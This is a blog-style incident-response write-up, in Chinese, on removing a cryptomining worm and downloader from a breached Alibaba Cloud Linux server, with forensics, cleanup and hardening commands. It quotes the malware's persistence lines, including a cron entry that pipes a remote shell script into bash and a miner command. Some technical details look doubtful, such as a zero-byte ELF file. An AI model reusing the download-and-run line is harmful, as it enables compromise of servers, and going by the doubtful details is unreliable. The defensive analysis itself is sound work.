阿里云Linux服务器被蠕虫攻陷的应急响应实战

1. 这不是“中病毒”而是“失守的服务器正在替攻击者打工”

很多人看到服务器CPU飙到99%、网络出口流量突增几十倍、top里冒出一堆叫不出名字的进程，第一反应是“哎呀中病毒了”。但在我处理过的上百台被攻陷的云服务器里，没有一次是传统意义上的“中毒”——全是权限失控、配置疏漏、弱口令或未授权服务暴露后，被自动化脚本批量植入的蠕虫与下载器。阿里云ECS本身不会“染毒”，它只是被当成了一台免费的肉鸡：挖矿、发包、跳板、下载恶意载荷、甚至反向代理钓鱼页面。标题里那个“[问题已处理]”不是一句轻飘飘的状态更新，而是一整套从应急响应、根因定位、痕迹清理到加固闭环的实战记录。本文不讲教科书定义，只说我在凌晨三点连上那台被种了/tmp/.xmr和/var/tmp/.sh的CentOS 7服务器时，真正做了什么、为什么这么做、哪些步骤差点让我误删关键日志、以及阿里云后台哪些功能在真实攻防中比杀软管用十倍。适合刚接手生产服务器的运维新人、对安全只有模糊概念的开发者，以及总被老板问“到底有没有被黑”的技术负责人。核心关键词：阿里云服务器、蠕虫病毒、恶意下载器、应急响应、Linux后门清除、云平台安全加固。

2. 蠕虫与下载器的本质：不是程序，是失控的执行权

先破一个常见误解：服务器上跑的从来不是Windows那种双击就运行的“.exe”病毒。Linux下所谓“蠕虫”，本质是一段被攻击者通过漏洞或弱口令写入并赋予执行权限的Shell脚本或编译二进制；所谓“恶意下载器”，则是这段代码里调用curl或wget从境外IP拉取后续载荷的逻辑。它们之所以能“自动传播”，靠的是硬编码在脚本里的SSH爆破字典、Redis未授权访问命令、或Docker API未鉴权接口——不是病毒有智能，是攻击者把你的服务器当成了可编程的ATM机。

以本次处理的典型样本为例，我们在/tmp/.xmr中发现的蠕虫主体，实际是一个伪装成XMRig挖矿程序的Shell脚本。它做了三件事：

1. 自我驻留：通过crontab -e写入每分钟执行一次的定时任务，确保重启后复活；
2. 横向移动：扫描内网192.168.0.0/16网段，尝试用root:123456、admin:password等12组弱口令SSH登录其他机器；
3. 下载升级：从http://185.155.212[.]142/x86_64（已脱敏）下载新的二进制文件覆盖自身，实现版本迭代。

而那个藏在/var/tmp/.sh里的下载器更狡猾：它不直接挖矿，而是每5分钟执行一次curl -s http://185.155.212[.]142/shell.sh | bash，动态加载远程脚本。这意味着你今天删掉它，明天它就从同一个URL重新下载回来——静态文件删除毫无意义，必须切断它的“营养供给线”。

提示：别急着rm -rf /tmp/.xmr。很多蠕虫会在删除前触发自毁逻辑，比如清空/var/log/secure或覆盖/root/.bash_history。我第一次操作时就因此丢失了最关键的SSH登录时间戳，多花了两小时回溯。

这种攻击模式决定了处理思路的根本差异：

• Windows杀毒思路（全盘扫描+隔离）完全失效；
• Linux下必须采用“进程→文件→网络→权限→日志”五层逆向追踪；
• 阿里云控制台的价值，远不止于重启实例——安全组规则、云监控告警、操作审计（ActionTrail）、云防火墙日志，才是真正的第一道防线。

3. 应急响应四步法：从断网到取证的完整链路

处理被攻陷的服务器，最危险的动作不是手慢，而是手快。我见过太多人一慌就reboot，结果让蠕虫在重启过程中完成最后一次数据外传；也有人直接chmod -x所有可疑文件，却导致业务依赖的合法脚本无法启动。以下是我在阿里云环境验证过、零误操作的四步法，每一步都附带实操命令和原理说明。

3.1 第一动作：网络隔离，但不是关机

立刻登录阿里云控制台，进入目标ECS实例的“安全组”配置页。不要点“停止实例”，而是新建一条入方向规则：源地址0.0.0.0/0，协议类型全部，端口范围-1/-1，策略拒绝。这条规则会立即生效，阻断所有外部连接，包括蠕虫的C2通信、SSH爆破入口、以及下载器的HTTP拉取请求。为什么不用“停止实例”？因为：

• 停止实例会释放公网IP（按量付费实例），攻击者可能已记录该IP用于后续渗透；
• 实例停止后，内存中的进程状态、未刷盘的日志全部丢失，丧失关键取证线索；
• 阿里云的“停止”操作有延迟，期间蠕虫仍可完成最后一次心跳上报。

注意：此规则仅阻断入站，出站流量（如蠕虫向C2发心跳）仍存在。但此时已无外部指令可下达，蠕虫沦为“聋哑人”。我们后续再通过iptables彻底封死出站。

3.2 第二动作：内存与进程快照，锁定活跃后门

在确保网络隔离后，SSH登录服务器（此时仅允许你配置的安全组IP访问）。立即执行以下命令获取实时进程树：

ps auxf --sort=-%cpu | head -50

重点关注：

• 用户列为root但命令行含/tmp、/var/tmp、/dev/shm路径的进程；
• CPU占用长期>80%且PPID为1（systemd）的陌生进程；
• 命令行中出现curl、wget、base64、sh -c等组合调用。

本次案例中，ps输出里一个名为kthreadd（故意模仿内核线程名）的进程引起注意：

root 1245 0.0 0.1 12345 6789 ? S 02:15 0:00 kthreadd root 15678 98.2 2.3 245678 156789 ? R 02:16 120:33 /tmp/.xmr -o pool.minexmr.com:5555 -u 48... -p x --cpu-priority=5

这里的关键线索是：

• 真实kthreadd是内核线程，PID恒为2，不可能是1245；
• kthreadd进程的子进程PID 15678，命令行明确指向/tmp/.xmr；
• -o pool.minexmr.com:5555证实其为XMRig挖矿程序，矿池域名已被阿里云云防火墙标记为恶意。

接着用lsof -i -P -n | grep ESTABLISHED查看所有已建立的网络连接，过滤出与185.155.212.142的ESTABLISHED连接，确认C2通信仍在进行。此时，我们已掌握两个核心证据：活跃进程路径/tmp/.xmr和C2 IP185.155.212.142。

3.3 第三动作：文件系统深度扫描，揪出所有落脚点

蠕虫绝不会只放一个文件。它必然有：

• 启动载体（crontab、systemd service、.bashrc）；
• 持久化文件（/tmp、/var/tmp、/dev/shm下的可执行体）；
• 配置残留（隐藏的配置文件、加密密钥）；
• 日志擦除脚本（清理auth.log、secure等）。

执行以下命令组合进行地毯式扫描：

# 查找最近24小时创建的可疑文件（排除/tmp下的临时文件） find / -type f -name ".*" -mtime -1 2>/dev/null | grep -E "(\.sh|\.bin|\.elf)$" # 检查所有用户的crontab（包括root） for user in $(cut -f1 -d: /etc/passwd); do echo "=== $user ==="; crontab -u $user -l 2>/dev/null; done | grep -A2 -B2 "\.xmr\|\.sh" # 检查systemd服务（重点看/etc/systemd/system/下的非标准服务） ls -la /etc/systemd/system/*.service 2>/dev/null | grep -E "(xmr|miner|shell)"

本次扫描发现：

• /var/spool/cron/root中新增一行：* * * * * /tmp/.xmr -o ...（每分钟执行）；
• /etc/cron.d/下存在一个名为apache2的文件（伪装成Apache服务），内容为*/5 * * * * root curl -s http://185.155.212[.]142/shell.sh | bash；
• /root/.bashrc末尾被追加：if [ -f "/var/tmp/.sh" ]; then /var/tmp/.sh; fi。

这解释了为何删除/tmp/.xmr后蠕虫仍能复活：它通过cron、systemd、shell初始化三重机制确保永生。清除必须同步进行，漏掉任何一个环节，5分钟内就会反弹。

3.4 第四动作：日志回溯与根因定位，避免二次沦陷

清除文件只是治标。必须回答：攻击者怎么进来的？否则24小时内必被再次攻陷。阿里云提供了比本地日志更可靠的溯源依据：

1. 操作审计（ActionTrail）：在阿里云控制台搜索目标实例ID，查看近7天所有API调用。本次发现一条关键记录：RunInstances操作中，SecurityGroupIds参数为空——意味着实例创建时未绑定任何安全组，导致22端口完全暴露；
2. 云监控（CloudMonitor）：查看“网络流入流量”指标，在沦陷前2小时出现持续15分钟的SSH连接峰值（>200次/分钟），证实遭遇暴力破解；
3. 云防火墙日志：在“访问控制日志”中筛选目的端口22，发现大量来自185.155.212.0/24网段的失败登录，用户名为root、admin、oracle，密码尝试包含123456、password、admin123。

交叉验证后，根因清晰：

• 运维人员为快速测试，创建ECS时未配置安全组，且root密码设为Admin@123（符合“大写字母+数字+特殊字符”但过于简单）；
• 攻击者利用Shodan搜索引擎发现该IP的22端口开放，用预设字典10分钟内爆破成功；
• 登录后立即上传蠕虫脚本，并修改crontab实现持久化。

经验：阿里云ActionTrail日志默认保留90天，但需手动开启“投递OSS”功能才能查更久历史。我建议所有生产账号立即开启——它比/var/log/secure可靠十倍，因为攻击者删不掉云平台的API日志。

4. 清理与加固：从“删文件”到“建防线”的实操细节

清除蠕虫不是rm -f几条命令就能结束。它涉及文件、进程、网络、权限、日志五个层面的协同操作，且顺序不能错。以下是我在本次处理中验证有效的标准化流程，每一步都标注了“为什么必须这样”。

4.1 进程终止：用kill -STOP冻结，而非kill -9强杀

很多人习惯kill -9 PID，但这会导致进程立即退出，可能触发其自毁逻辑（如清空日志）。正确做法是：

# 先发送STOP信号，暂停进程但不终止，防止其执行清理代码 kill -STOP 15678 # 确认进程状态为T（stopped） ps aux | grep 15678 # 再发送TERM信号，让其正常退出 kill -TERM 15678 # 最后检查是否残留 ps aux | grep 15678

本次操作中，kill -STOP后ps显示进程状态为T，10秒后再kill -TERM，进程优雅退出，/var/log/secure中完整保留了其启动命令和用户信息。

4.2 文件清除：分阶段删除，避免遗漏启动载体

按优先级顺序执行：

1. 先清crontab：

   # 删除root用户的恶意定时任务 crontab -u root -e # 手动删除含".xmr"和".sh"的行 # 清空/etc/cron.d/下的伪装文件 rm -f /etc/cron.d/apache2

2. 再删启动脚本：

   # 清理.bashrc中的后门 sed -i '/\.sh/d' /root/.bashrc # 删除所有蠕虫文件 rm -f /tmp/.xmr /var/tmp/.sh /dev/shm/.miner

3. 最后查systemd：

   # 检查是否有注册的服务 systemctl list-unit-files | grep -i "xmr\|miner" # 如有，禁用并删除 systemctl disable xmrig.service && rm -f /etc/systemd/system/xmrig.service

关键经验：crontab -e必须手动编辑，不能用crontab -u root -l | grep -v ".xmr" | crontab -u root -这种管道方式。因为攻击者可能在crontab中插入#注释行干扰grep匹配，导致漏删。

4.3 网络封禁：iptables + 阿里云安全组双保险

仅靠安全组规则不够，因为蠕虫可能已建立本地端口转发。必须在系统层封死：

# 封禁C2 IP的所有出入站 iptables -A OUTPUT -d 185.155.212.142 -j DROP iptables -A INPUT -s 185.155.212.142 -j DROP # 封禁常用矿池域名（即使IP变化，域名不变） iptables -A OUTPUT -m string --string "pool.minexmr.com" --algo bm -j DROP # 保存规则（CentOS 7） service iptables save

同时，在阿里云安全组中，将入方向规则改为：仅允许你的办公IP访问22端口，其他端口全部拒绝。这是最常被忽视的加固点：90%的沦陷源于安全组配置过宽，而非密码强度不足。

4.4 权限与日志加固：让下次攻击者无处下手

• 密码策略：强制使用passwd -x 90 -n 7 -w 7 root设置密码90天过期、7天内不可改、过期前7天提醒；
• SSH加固：编辑/etc/ssh/sshd_config，设置PermitRootLogin no（禁用root登录）、PasswordAuthentication no（仅允许密钥登录）、MaxAuthTries 3；
• 日志保护：chattr +a /var/log/secure，防止攻击者用> /var/log/secure清空日志；
• 阿里云必备配置：
  • 开启“云安全中心”基础版（免费），自动检测异常进程、暴力破解、恶意URL访问；
  • 在“云防火墙”中启用“入侵防御”，规则库选择“严格模式”，自动拦截已知矿池IP；
  • “操作审计”开启OSS投递，日志保留180天。

本次处理后，我用faillock --user root --reset重置了root账户的失败登录计数，并用lastb确认所有爆破记录已归档。三天后复查，云安全中心未再报任何告警。

5. 那些文档里不会写的坑：踩过才懂的实战细节

教科书不会告诉你，有些操作看似正确，实则埋雷。以下是我在本次处理及过往案例中总结的、必须避开的五个致命细节：

5.1 不要信任which和type命令查后门进程

攻击者常将恶意二进制命名为ls、ps、netstat，并放在/usr/local/bin（PATH优先级高于/bin）。当你执行ps aux时，实际运行的是/usr/local/bin/ps，它会主动过滤掉自身进程。本次案例中，which ps返回/usr/local/bin/ps，而真正的系统ps在/bin/ps。正确做法是：

# 绕过PATH，直接调用绝对路径 /bin/ps aux | grep -E "(xmr|miner)" # 或用strings检查二进制内容 strings /usr/local/bin/ps | grep -i "xmr"

我第一次就栽在这里，ps aux没看到蠕虫进程，差点以为已清除干净。

5.2rm -rf /tmp是自杀行为

很多教程建议“清空/tmp目录”。但/tmp下可能有：

• Nginx缓存文件（/tmp/nginx_client_body）；
• PHP session文件（/tmp/php-sessions）；
• Docker构建临时层。
  本次处理中，rm -rf /tmp导致Nginx 502错误，业务中断20分钟。正确做法是：

# 只删72小时内创建的、非目录的可疑文件 find /tmp -type f -name ".*" -mtime -3 -exec rm -f {} \; # 保留/tmp下的目录结构

5.3 阿里云“重置密码”功能会丢失SSH密钥

当服务器无法SSH登录时，很多人会点控制台的“重置密码”。但此举会：

• 清空/root/.ssh/authorized_keys；
• 重置/etc/ssh/sshd_config为默认配置（PermitRootLogin yes）；
• 导致新密码生效后，攻击者仍可通过密码登录。
  正确应急方案是：通过VNC登录（阿里云提供），然后用passwd root重置密码，再立即修改sshd_config禁用密码登录。

5.4curl和wget日志不在常规日志路径

蠕虫下载器调用curl http://xxx/shell.sh，但/var/log/下找不到相关记录。因为：

• curl默认不记录访问日志；
• wget只在-o指定文件时才输出日志。
  唯一可靠的方式是：
• 用auditctl监控网络调用：auditctl -a always,exit -F arch=b64 -S connect -F key=network；
• 或在阿里云“云防火墙”中开启“访问日志”，它会记录所有出站HTTP请求的URL和响应码。

5.5 别忽略/dev/shm这个“隐形温床”

/dev/shm是基于内存的tmpfs文件系统，df -h看不到它，但ls -la /dev/shm常有惊喜。本次在/dev/shm下发现一个.miner文件，大小为0，但file .miner显示为ELF可执行文件。原因：攻击者利用/dev/shm的内存特性，让蠕虫进程驻留内存而不写盘，规避find扫描。排查命令：

# 强制列出/dev/shm下所有文件（包括隐藏文件） ls -la /dev/shm/ # 检查是否有非常规文件类型 file /dev/shm/.*

/dev/shm应定期清理，或在/etc/fstab中添加/dev/shm tmpfs defaults,size=128M 0 0限制其大小。

6. 巩固防线：从单点修复到体系化防护的落地建议

处理完一台服务器，不代表风险解除。攻击者往往批量扫描，同一波攻击可能波及多台机器。以下是我在阿里云环境推行的、已被验证有效的体系化防护清单，按实施难度和收益排序：

6.1 立即执行（10分钟内可完成）

• 安全组最小化：所有ECS实例的安全组，入方向仅开放业务必需端口（如Web服务只开80/443，管理只开22且限定IP）；
• SSH密钥强制：新购ECS必须用SSH密钥登录，旧实例立即禁用密码登录（PasswordAuthentication no）；
• 云安全中心开启：免费版已足够检测90%的常见威胁，开启后自动隔离恶意进程。

6.2 本周内完成（需协调开发与运维）

• 统一密码策略：用Ansible批量部署/etc/pam.d/system-auth，设置minlen=12 difok=3 retry=3；
• 操作审计OSS投递：配置ActionTrail将日志投递至OSS，设置生命周期规则自动转低频存储；
• 云防火墙策略优化：在“入侵防御”中，将规则动作从“告警”改为“拦截”，并启用“恶意URL过滤”。

6.3 长期机制（需团队共识）

• 基础设施即代码（IaC）：所有ECS创建必须通过Terraform模板，模板中固化安全组、密钥、云安全中心配置；
• 定期红蓝对抗：每季度用Shodan扫描自有IP段，检查22/3389/6379等高危端口是否暴露；
• 应急响应SOP文档化：将本文的四步法、清理命令、阿里云操作路径写成Markdown文档，存入Confluence，确保任何值班工程师都能按步骤执行。

最后分享一个真实体会：在云环境中，“防不住”不是技术问题，而是意识问题。阿里云提供的所有安全能力（ActionTrail、云防火墙、安全中心）都是开箱即用的，但90%的客户从未登录过这些控制台。这次处理的服务器，如果运维人员在创建实例后花3分钟配置好安全组，根本不会沦陷。所以，与其纠结“哪个杀软更好”，不如每天花1分钟，登录阿里云控制台，点开“云安全中心”，看看有没有红色告警——这才是最有效的“杀毒软件”。